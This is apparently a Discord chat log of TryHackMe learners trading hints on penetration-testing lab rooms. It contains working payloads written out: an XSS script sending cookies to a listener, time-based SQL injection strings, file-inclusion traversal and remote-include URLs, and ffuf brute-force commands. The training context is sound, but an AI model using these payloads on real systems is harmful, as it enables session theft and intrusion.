Do I need the https at the beginning?

[digital pendant]

@drifting drum is it solveable without a webserserver?

[drifting drum]

No

You need to host the file somewhere

[digital pendant]

hm

how tf do i host a webserver

[hollow acorn]

Are you sure I don't need to add the flag url before the item url? It seems to want to get both and errors as a result

[drifting drum]

Python has a useful module for that

[hollow acorn]

^

[uneven niche]

What kind of vulnerability seems to affect the Fitbit application?
found the vuln but i dont understand what i'm supposed to write (not english native is not helping much tho)

[drifting drum]

Python has a module for that. Try googling it

[uneven niche]

||https://www.exploit-db.com/exploits/40482||

[opal stirrup]

You're close, look at the target URL again

You're not trying to get to api.server.thm

[mortal token]

Hello guys, anyone solved "File Inclusion/Task8/Challenge3" ? I'm running out of ideas...

[hollow acorn]

Ah, the fact that api was included in task 4 really through me off. Thanks so much!

[next lance]

Gave +1 Rep to @opal stirrup

[drifting drum]

Yes. What have you tried?

[mortal token]

Can I DM you ?

[drifting drum]

Sure

[noble rose]

"In Lab #2, what is the directory specified in the include function?"
I did not understand that

what include function

[hollow acorn]

For anyone stuck on flag 3 of the challenge in file inclusion, it is very similar to task 6 in the same room

[drifting drum]

Look at the errors it gives when you input incorrect data

[noble rose]

The website is timing out i guess there is a lot of activity

nevermind my internet is shit haha

[drifting drum]

Lol

[noble rose]

got it !

[drifting drum]

👍

[hollow acorn]

Quick question. Is the answer for task 3 of the SSRF room in the information provided or do I have to research to find it?

Just kidding, I found it

Thanks for the help everyone. I'll hop on a bit more later 🙂

[noble rose]

Man everyday i notice how much i don't know and its scaryyyyyy

[digital pendant]

can anyone help me with the file inclusion playground? i don't understand this

like i got the webserver running but how do i upload a file ??

[drifting drum]

Knowing what you don't know is better than not knowing what you don't know

[drifting drum]

You don't need to. If you used python then all the files in the directory that you started the server in are automatically being hosted on the server

[digital pendant]

@drifting drum you mean i can mv my file locally and it will be on the server?

oh fml, of course bc the webserver has no database, lol i need to go to bed

[drifting drum]

😂😂

[digital pendant]

@drifting drum in which directory would that be ?

[drifting drum]

Whichever directory you started the server in

[digital pendant]

there it is! thank you @drifting drum i think i can do the exploit

[next lance]

Gave +1 Rep to @drifting drum

[rough ore]

guys help with payload in command injection
What are the contents of the flag located in /home/tryhackme/flag.txt?

[drifting drum]

Np

[rough ore]

yes curl id whoami not working

[digital pendant]

@drifting drum actually no, can you help please?

[drifting drum]

With?

[digital pendant]

well i "uploaded?" the file to the playground by adding ?file=http://my_ip/my_file.php

then i wanted to execute it

[upbeat magnet]

@drifting drum thank you so much for the help!

[next lance]

Gave +1 Rep to @drifting drum

[upbeat magnet]

rep point just for you ❤️

[hearty quest]

what command could i use to find the most common size from the size field in a file like this

[drifting drum]

That's detailed I'm the task

[rough ore]

i paste from cheat sheet commands they not working

[digital pendant]

@drifting drum yeah i tried it like that

[modest arch]

I'm at task 5 Local File Inclusion. Any pointers on first question?

[rough ore]

got it tnx

[slender pivot]

Anyone done Metasploit exploitation Task 6, keep getting Segmentation fault (core dumped)
while running the payload

[solar ore]

It won't let me enter ANY character except letters? Any help

[digital pendant]

whats a "Throwback voucher" ?

[modest arch]

How do I use the premium vouchers and stuff

[zealous crown]

Is someone able to PM me about the LFI challenge as I have followed the guide and no luck and want to check the answer I have?

[solar ore]

can I send too?

for same challenge? I'm close, but struggling with syntax

[quick light]

task 2 of ssrf room help needed

[zenith oak]

Hey, In the new junior pentester path, there is 2 privesc rooms. The linux works really fine and the credentials are given in the room, but there is no user or password in the Windows room : https://tryhackme.com/room/winprivesc . Is this normal ? It seems rather complicated to get an entrypoint on this compared to its linux equivalent.

[quick light]

hints needed please

[modest arch]

Anyone help with LFI #2 question 5, sry.

:p thanks, I've tried bunch of those but...

[rough ore]

in sqli found martin password but can find flag im blind

[plush widget]

Speaking of that… I’m stuck on challenge 2 - I’ve got the cookie bit but I can’t move

[quick light]

I'm think what I'm getting down there is correct but it's not working

not getting what's wrong

[modest arch]

me 2

[quick light]

can I put the "Server requesting" url here and mark it as spoiler?

[modest arch]

nvm, got it :p

ty

[quick light]

thanks it's solved now

[next lance]

Gave +1 Rep to @steel nymph

[plush widget]

Any hints?

[sharp oar]

What do you mean abou tplaying wwith cookie?

Change from Guest to Admin

Received another page

besides admin?

[plush widget]

I tried changing path and adding ../ to admin

And bill bytes

[modest arch]

thanks

[next lance]

Gave +1 Rep to @steel nymph

[sharp oar]

Already tried a lot

[sharp oar]

this way I got an error

error

Current Path
/var/www/html
File Content Preview of teste
Welcome teste

Warning: include(includes/teste.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Warning: include() [function.include]: Failed opening 'includes/teste.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/chall2.php on line 37

Current Path
/var/www/html
File Content Preview of ../../../etc/flag2
Welcome ../../../etc/flag2

Warning: include(includes/../../../etc/flag2.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Warning: include() [function.include]: Failed opening 'includes/../../../etc/flag2.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/chall2.php on line 37

[modest arch]

omfg LFI 2

thanks for the hints

[sharp oar]

included the escape (%00) but not works

[hollow acorn]

Sorry for not answering sooner. I'm back now. Were you able to get the flag?

[solar ore]

Yes I was thank you 🙂

[next lance]

Gave +1 Rep to @hollow acorn

[hollow acorn]

Glad to hear it! Great job!

[sharp oar]

/var/www/html - 3 levels?

worked

thks

[royal mulch]

@drifting drum i am stuck with "File Inclusion/Task8/Challenge3" can you please push me to right direction ?

[sharp oar]

thks @steel nymph !

[royal mulch]

can someone help on ""File Inclusion/Task8/Challenge3""

i tried POST as well...

any small hint will be helpfull... 😉

can i DM...

[modest arch]

@steel nymph I got the /etc/passwd on 2 question lab 4 but dont understand what function is making the directory traversal?

[rough ore]

in time based sqli payload https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';-- not working help

[modest arch]

thanks 🤦

[next lance]

Gave +1 Rep to @steel nymph

[royal mulch]

thanks a lots @steel nymph...

[next lance]

Gave +1 Rep to @steel nymph

[young vault]

I let my subscription lapse but started doing this path once I saw it released. I finished a couple rooms and got 1 ticket from each. The pop-up says you need to subscribe to get an extra ticket. If I subscribe now, will I get the tickets I missed out on?

[modest arch]

heyyo, I'm having some trouble with inclusion. Doing the first LFI challenge, || I know that I need to change the GET request to a POST, and have tried to do so both in dev tools in firefox and with burp. It seems to just respond with a normal webpage as if I had just sent a get request... any ideas? ||

[fading pulsar]

https://httpie.io/docs is a great tool to have playing around with forms

[modest arch]

I even did it manually with curl 🤦‍♂️ still the same thing, just a normal response

|| curl -d "file=/etc/flag1" -X POST http://10.10.75.195/challenges/chall1.php ||

anything wrong with that command? @fading pulsar

nvm I'm just dumb 😂

trying to grab /etc/flag1 without dotslash

[fading pulsar]

not dumb when you catch the mistake 😉

[young vault]

Well that sucks

@steel nymph Thanks for the reply

[next lance]

Gave +1 Rep to @steel nymph

[raw bolt]

Hello! Im on task 2 and I ran the command user@tiny bluff$ ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

Is it suppose to take forever?

Its been scanning for 20 min so far

[fading pulsar]

just did it now, 13 sec

[raw bolt]

well i must be doing something wrong

[drifting drum]

Linux PrivEsc Task 10
Can some give me a nudge as to what's odd in PATH? I hinestly have no idea

I'm probably just blind, but I'm at a loss here

[raw bolt]

Whats the exact command you put in?

[fading pulsar]

@drifting drum error in the text there... check the forum

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

[lyric bison]

Hello, I'm working on walkinganapplication room and I can't find the first flag (which is supposed to be in the comment section).

[drifting drum]

Wow. They asked the complete wrong thing lmfao

[raw bolt]

That seemed to work

thanks

[fading pulsar]

hehe, yeah

@drifting drum i bugged a long time before i checked the forum, tried everything

[quaint wagon]

This PATH one has me still a bit lost even after the forums..

I am understanding the theory but in practice I fail

[drifting drum]

They didn't do a good job with the questions for that one

[modest arch]

LFI challenge 3 is making my head hurt ngl

They filter all special characters and numbers 😂 guess that's what makes it fun

[drifting drum]

Not everything is filtered 😉

[quaint wagon]

yeah found that out but still I can't get root now matter what I try

[drifting drum]

I'm working on it now. Will let you know in a little bit. Pretty sure I know how to do it

[quaint wagon]

If you can lend some insight I would love that. ||I cant compile on the machine and a file transfer looses its suid bit.||

[fading pulsar]

dont need suid, its about the path 😉

[quaint wagon]

JaRam can you message me for a second?

[fading pulsar]

sure

[drifting drum]

So um... I did a thing

I'm not entirely sure how, but I was able to read the flag without getting root

Someone needs to have a serious look at this task lmfao

[upper quarry]

Hmm, 644 instead of 600, dunno if its intentional haha

[modest arch]

@steel nymph I have admin page after editing cookies a bit. But can't seem to find anything useful here?

[drifting drum]

It's most definetly not

The questions for that task are messed up too

[alpine barn]

Anyone done the time based sql one in https://tryhackme.com/room/sqlinjectionlm I'm hitting a blank. Can't seem to find a column name?

[drifting drum]

What are you trying?

[alpine barn]

||https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name='users' and column_name like 'a%';--||

[drifting drum]

You're using the wrong information_schema

You can't find columns if you're looking looking tables

[alpine barn]

ooooooooooooooooooooohhhh

thanks

[drifting drum]

Np

[woeful viper]

Me too someone, help please a cant finish the path because of this

[alpine barn]

think i'm dtuck again sorry, trying to get the username. is ||https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 from users where username like 'z%';--|| the right syntax?

[raw bolt]

ffuf -w usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.117.78/customers/login -fc 200

posted this in task 3 which is the given command

I changed it to match my username txt file I made from the previous task

I seem to be getting no results with this

https://ibb.co/TPkKkyC

here is the screenshot

[modest arch]

Any help with first challenge File Inclusion task 8?

[drifting drum]

Looks like it

[alpine barn]

i dunno what i changed, but now ||https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' and table_name='users' and column_name like 'username%' and column_name!='password%' and column_name!='id%';--|| is working

[blazing arrow]

@raw bolt have you verified the contents of usernames.txt ?

[raw bolt]

yeah when I did the command in task 2 I did >> usernames.txt

but then I just went in there and deleted everything but just the names. Still nothing

[raw bolt]

https://ibb.co/k8Yb97Q

[blazing arrow]

hmm... I had some issues at this point as well... just checked my notes and your screen shot looks right, I did reference my usernames.txt ./usernames.txt. But I would think you would get an ffuf error if it couldn't find the file

[alpine barn]

got it now, big thanks 🙂

[next lance]

Gave +1 Rep to @drifting drum

[raw bolt]

Its wierd

and there are not walkthroughs online for this course.

[blazing arrow]

checking my notes to see if there are any other hints I can offer

[raw bolt]

ok ty

[raw bolt]

does my command look right? Its in the first screenshot I linked.

[blazing arrow]

it does. I know I had issues when I mis-typed the Content-Type

[raw bolt]

https://tenor.com/view/dogs-sad-major-disappointment-disappointed-sigh-gif-16342223

[blazing arrow]

🙂

[raw bolt]

Was that a hint?

Cause im stumped

lol

[blazing arrow]

no, dogs make me laugh

[crimson lark]

Anyone have trouble getting the last flag on the XSS challenge?

[blazing arrow]

I'm firing that vm back up and checking it out @raw bolt

[raw bolt]

I appreciate ya

[drifting drum]

Alright, I'm back again. I'm doing Linux PrivEsc task 10 (nfs). I'm getting an error after trying to execute the compiled script. Anyone know what's up?

I copied it exactly how it's written in the task

[blazing arrow]

@raw bolt this is what I have an it works
ffuf -w ./valid_username.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.63.83/customers/login -fc 200

I just ran the command you used substituting IP addr and filename, and it worked for me.

[raw bolt]

still not working

I don't know what the heck im doing wrong

[blazing arrow]

maybe try killing the VM and starting a new one?

[raw bolt]

ok

im not getting how a copy paste command isnt working lol

[blazing arrow]

same

[crimson lark]

Is the wordlist path correct for your machine?

[blazing arrow]

I think ffuf would throw an error if that was the case, but worth a look

[raw bolt]

Im currently working out of root

spun up another VM and samething

[crimson lark]

@raw bolt This is the path for my machine which doesn't match the one directed ->>>> /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt

[raw bolt]

must be right because it spins up an error when I change the name of the file in the command

[blazing arrow]

any special chars in the usernames?? what do you get with cat ./usernames.txt?

[raw bolt]

tried it with and without ./ still nothing

[blazing arrow]

in the screenshot it looks like you opened the file in a text editor. if you use cat to get the contents do you see any additional characters?

[raw bolt]

Welll.....interesting thing

nothing happens

[blazing arrow]

hmm... try running the ffuf without the -fc 200

see what all the results are

[raw bolt]

https://ibb.co/5jfsqQK

[crimson lark]

Has anyone done the XSS room in the JR penetration path?

[blazing arrow]

@raw bolt is the usernames.txt file in your current path? and if it is it seems like there is nothing in it

[raw bolt]

yes iti s

this was the command from task 2

maybe I did it wrong the way I outputted it to the file?

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.196.158/customers/signup -mr "username already exists" >> username.txt

[blazing arrow]

do you have 2 files in that dir? one names usernames.txt and the other username.txt?

[raw bolt]

this one i mean

nope

[blazing arrow]

what if you manually recreate the usernames.txt file?

[raw bolt]

https://ibb.co/c8QYDrX

I did this instead

I did this originally and then just took out all the crap

[blazing arrow]

getting nothing from cat username.txt is what concerns me. you should get the contents of the file

[raw bolt]

refer to the other screenshot

i redid step 2

thats where im at now

@blazing arrow https://ibb.co/c8QYDrX

[blazing arrow]

and you removed the "crap".. got it

[raw bolt]

not yet

should i?

[blazing arrow]

yup

the file should have one username per line

[vagrant charm]

You guys having issues getting it to read the usernames file? I found a weird workaround for that if anyone can't get it to work

[raw bolt]

when I edit it now nothing appears when I cat it

[raw bolt]

please do share cause I've been on this task for WAY to long

[blazing arrow]

what are you using to edit the file?

[raw bolt]

just opening it up in the text editor

[vagrant charm]

What I did was went a found the wordlists already on the VM and changed the data inside one of those to the like 4 usernames you need. Then set that file location in place of saying usernames.txt in the command. (idk why it worked, but it did)

[blazing arrow]

@raw bolt try using nano

[raw bolt]

ok

[hollow acorn]

I agree. I really like nano. Super easy to use, too

[blazing arrow]

sometimes text editors can leave unexpected characters

[raw bolt]

bro im about to skip this

now nothing cats when I edit it

like wtf

its so dumb

and yes i used nano

[vagrant charm]

Could I DM you?

[raw bolt]

sure

[blazing arrow]

last thing to try... create a new file, enter the usernames that you know are good , one per line, then re-run your ffuf command referencing your new file.

[raw bolt]

well holy fucking shit

that did it

wait

I spoke too soon

i got an error

no

I got it

making a new file did the trick

which is FKIN DUMB

[vagrant charm]

oh nice, that didn't work for me, but glad you got it sorted out

[raw bolt]

thank you for everyones help

How do I give you props @blazing arrow

[jolly vine]

@raw bolt @him and say thank you

[next lance]

Gave +1 Rep to @raw bolt

[jolly vine]

lol

[raw bolt]

@blazing arrow thank you

[next lance]

Gave +1 Rep to @blazing arrow

[blazing arrow]

@raw bolt I'm glad you resolved it

[sleek ledge]

how to redem those ticket

[vagrant charm]

On your profile there is a ticket tab you can go to. If you have 3 of a ticket you can redeem it

[modest arch]

guys
I'm so lost and just braindead
how the freak do you do LFI for the last challenge, it literally filters out all special characters and numbers

I tried putting it in hex, base64, maybe I'll even try md5 😂

[sleek ledge]

that is we need to have all three Pentester Title voucher to reedem it

?

[vagrant charm]

Correct

[sleek ledge]

Oh Okay thanks mate

[vagrant charm]

No problem

[sleek ledge]

I got one EJPT voucher

[blazing arrow]

@modest arch what if you change the method on the form? Get or Post?

[modest arch]

are you talking about the 3rd challenge? cause that def helped for the 1st one when it was doing get instead, but I will double check

[blazing arrow]

yup, it helps on the 3rd challenge as well

[crimson lark]

Yo byrdman have you done XSS yet?

[modest arch]

thanks man, I had it going through burp and everything so I'm surprised I didn't catch it

[blazing arrow]

I haven't yet, I'm only a few days in

[crimson lark]

Damn. I can't find anyone thats on it.

[blazing arrow]

@modest arch 🤙

I'm about to call it a day. but I'm plowing through and love helping. @crimson lark hopefully I can help you soon

[crimson lark]

Whenever you get to the end let me know lol.

[spark sleet]

@crimson lark I'm on it now, and it isn't accepting the cookie. Ran through it like 20 times.

[crimson lark]

Are you trying to view the staff session cookie?

[spark sleet]

yes

[crimson lark]

I swear it doesn't work. I tried for like 2 hours today and i know my code works because I can prompt my response.

The cookie that it is sending is your own cookie that is why it doesn't accept it. Most likely you click into the "ticket" and that is why your getting a callback

I can't get the "staff" cookie to send for the life of me

[spark sleet]

Agreed; I used both methods it suggests.

[crimson lark]

I don't even know how to escalate this, but it drives me crazy its not completed

[modest arch]

what challenge is that for

[crimson lark]

XSS

[modest arch]

This is so weird, for LFI I can't get the 3rd challenge to respond right to a post request

[lavish rose]

hey @spark sleet @crimson lark, try removing the extra space between two closing parentheses. document.cookie)" ")

it worked for me

[crimson lark]

are you kidding me

[drifting drum]

You still having issues with that?

[lavish rose]

did it work for you?

[crimson lark]

waiting for the callback right now

[crimson lark]

your putting it in the comments right? Not the subject line?

[lavish rose]

yes, make sure to remove the { } too. just wanted to make sure.

[opal stirrup]

||Are you using curl?||

[lavish rose]

i used request catcher

[crimson lark]

This the code. ||</textarea><script>fetch('http://0.0.0.0:4444?cookie=' + btoa(document.cookie));</script>||

[lavish rose]

yes, opening < is missing. and try with request catcher.

[crimson lark]

That was a typo.

[opal stirrup]

I just got back and heard people were having issues with getting a response

Script port should be the same as the NC specified right

[spark sleet]

port can be the any, as long as its the same on the script and what you setup

@lavish rose , i tried to use the request catcher as well, and only get DNS entries.

[lavish rose]

are you opening the ticket after creating it?

[crimson lark]

No because that sends back my own session cookie

[lavish rose]

cookie is base64 encoded

[crimson lark]

Yes I decoded and it still did not work.

[lavish rose]

let me spawn my machine again

[crimson lark]

it decodes to session=.....

[midnight maple]

I came here for the above problem too hehe

[crimson lark]

Its broken. I want my money back...

lol

[drifting drum]

What problem are you having?

I'd scroll up and read but thats too much wirk

[crimson lark]

I can't get a callback from an XSS script. Well.... I can get my own callback just not the "staff's"

[lavish rose]

i just solved it again: i'm using the same payload mentioned just changing url to request catcher like: ||ttp://str94de1e3bfc02e1e3007020825af9eea7.log.tryhackme.tech?|| and if i dont remove the extra space between two closing parentheses after "cookie) )" then i only get DNS request. but after removing that space i received the HTTP request with cookie.

if you're still having issue, you can dm me

[crimson lark]

im respawning the room and trying again

holddd up

[midnight maple]

thx, trying this now

[spark sleet]

• adding to @lavish rose , remove the spaces from cookie=' + btoa so it's cookie='+btoa

[crimson lark]

You are just so damn beautiful you know that.

[crimson lark]

My thanks

[next lance]

Gave +1 Rep to @lavish rose

[modest arch]

need help ssrf task 2 pls

[spark sleet]

i had it like that, both at the same time until removing those.

@lavish rose thanks.

[next lance]

Gave +1 Rep to @lavish rose

[drifting drum]

Gonna need more info than that

[lavish rose]

glad i could help guys, now getting back to file inclusion challenge where i'm stuck hehe

[modest arch]

i did https://website.thm/item/2?server=api.server.website.thm/flag&x=&id=9

but it aint working

idk why

i used the hint and it said &x=

[full escarp]

try having a 504 error you will see

the payload structure and understand it better

[midnight maple]

thank you, this worked 🙂 I wonder why it didn't work via nc though

[next lance]

Gave +1 Rep to @lavish rose

[modest arch]

so keep trying until i get a 504 error?

sounds good

[crimson lark]

I think the nc way is really broken because I was able to get my own cookie sent.

[full escarp]

nope just get one 504 then read the structure

on that point you can understand how the payload works

[modest arch]

@opal stirrup yes

ok thanks

[modest arch]

@drifting drum yeah

[opal stirrup]

How are you structuring your request?

[modest arch]

@opal stirrup ||curl -X POST -d "file=../../../../../../etc/flag3" http://10.10.227.104/lab3.php||

[opal stirrup]

||You're sending it to lab 3 and not challenge 3 and IIRC -d should come after the URL||

[blazing arrow]

what are the results?

[opal stirrup]

||Keep in mind the number of directories as well||

[modest arch]

no freaking way that's literally it

I'm so dumb

I was working the wrong challenge 🤦‍♂️

[opal stirrup]

Lmao you're good man, I spent 3 hours on RCE before I realized I was using the wrong fucking IP

[modest arch]

😂

[midnight maple]

ha I just did that too

[opal stirrup]

Now I'm just wondering why my NC listener wouldn't get the XSS callback but the THM URL did 😐

[midnight maple]

yeah same

[opal stirrup]

I reloaded that machine like 3 times before I even got a response doing the exact same thing

[midnight maple]

I have to finish the lfi room now

I left it yesterday out of frustration haha

[drifting drum]

I couldn't get it to work with NC either

[modest arch]

I GOT IT 😵‍💫

finally

[drifting drum]

Congrats!

[modest arch]

now just like 50 more boxes to go

my head hurts man

[drifting drum]

Lmao. You and I both. I just went through the Linux privesc room. Spent 2 hours on one task cuz the questions are messed up (that was confirmed by THM staff) and then spent another 2 hours on the next task trying to figure out why some code wouldn't compile. Turns out I'm an absolute moron and read the instructions wrong 6 times in a row

[midnight maple]

A lot of people are having this problem, do you reckon we are just noobing or should we inform staff? ( if that hasn't happened already )

[oak elbow]

[SOLVED]
Hey guys,
I'm stuck on Content Discovery > Part 4.
Can't seem to reach the /sitemap.xml.
Tried firefox, chromium, curl. /robots.txt from the step before works just fine. Am I missing something obvious? 🤔
Thanks in advance

[polar cloak]

I'm on LFI TASK 8 flag 2 dying

[modest arch]

bro I spent all day finishing LFI ngl

[polar depot]

Ijust started this path, and I am really enjoying the process. Thanks!

[chrome sand]

Anyone is the Authentication Bypass room?

Need some help

Ive tried converting the results of the usernames to a .txt file however it's not working

This step 3 of the brute force wont won't give proper results

[modest arch]

I love this path ngl! It's been mind warping, my head hurts chronically now, I've talked with people in a drunken daze, high on nothing but THM flags, and had some of the coolest victories I've had with aspects of pentesting I've never experienced really

[vagrant charm]

I just made the txt file manually since it is only a few usernames you get

[full escarp]

i did not use ffuf for bruteforce not sure if its ok i tried hydra for that

[chrome sand]

Oh yeah? Thank you! I've actually tried doing that myself since it was just 4 users

However when i run the bruteforce command for ffuf

It provides no results

Gonna try strong arming this thing

[vagrant charm]

It found it difficult to get it to work as well

[modest arch]

it was hard for me to understand ffuf output at first 😂

[chrome sand]

Yeah it's confusing as hell especially for a noob like me lol

[winter spade]

Hey, is anyone in the "Walking An Application" room > Task 3 Viewing The Page Source > Question 4 "What is the framework flag?", got to a new flag after reading the documentation etc, but still getting the "your answer is incorrect" message with that new flag? (I guess what I'm asking is, does THM have false flags?)

[modest arch]

For me I didn't even realize it was doing what I wanted it to until I looked closely and saw that it did in fact have the usernames

Yeah I made the username list manually also

Then the password brute force output is pretty straight forward

[chrome sand]

Hmm okay let me try that again in that case

Wish i could attach pictures here lol

But thanks for the help! Appreciate the support guys

[vagrant charm]

If you verify with the tryhackme bot you can send pics

[midnight maple]

It may be a flag for another task

[chrome sand]

Gotta dig a little deepe for that one, remember struggling with it as well 😅

[winter spade]

Okay, thank you! The directions were rather specific so I couldn't tell if I stumbled onto a different flag for another task (like @midnight maple said) or if something was actually wrong haha

[next lance]

Gave +1 Rep to @chrome sand

[drifting drum]

No idea. Would probably let staff know so they could look into it, but its not major

[chrome sand]

BRUHHH, I FRIKKEN GOT IT

LOL man the sigh if relief lol

[modest arch]

Right?

Love that feeling

[chrome sand]

Awesome lol

Idk why my manual file didn't work thr first time

Worked now

[modest arch]

I'm planning on doing this path, then straight on to actual JPT training so my mind is gonna >die

[chrome sand]

But it would still be good to learn how to automate it with the command for future ref incase of larger files

[chrome sand]

Yeah im on a similar path fam

Best of luck!

[modest arch]

you too!

anyone else struggling just to get sqli level 1 to show an error message or anything besides 'incorrect password'?

I'M SO DUMB

AAAAAAAAA

it popped up in the attackbox but that's not what I was supposed to be using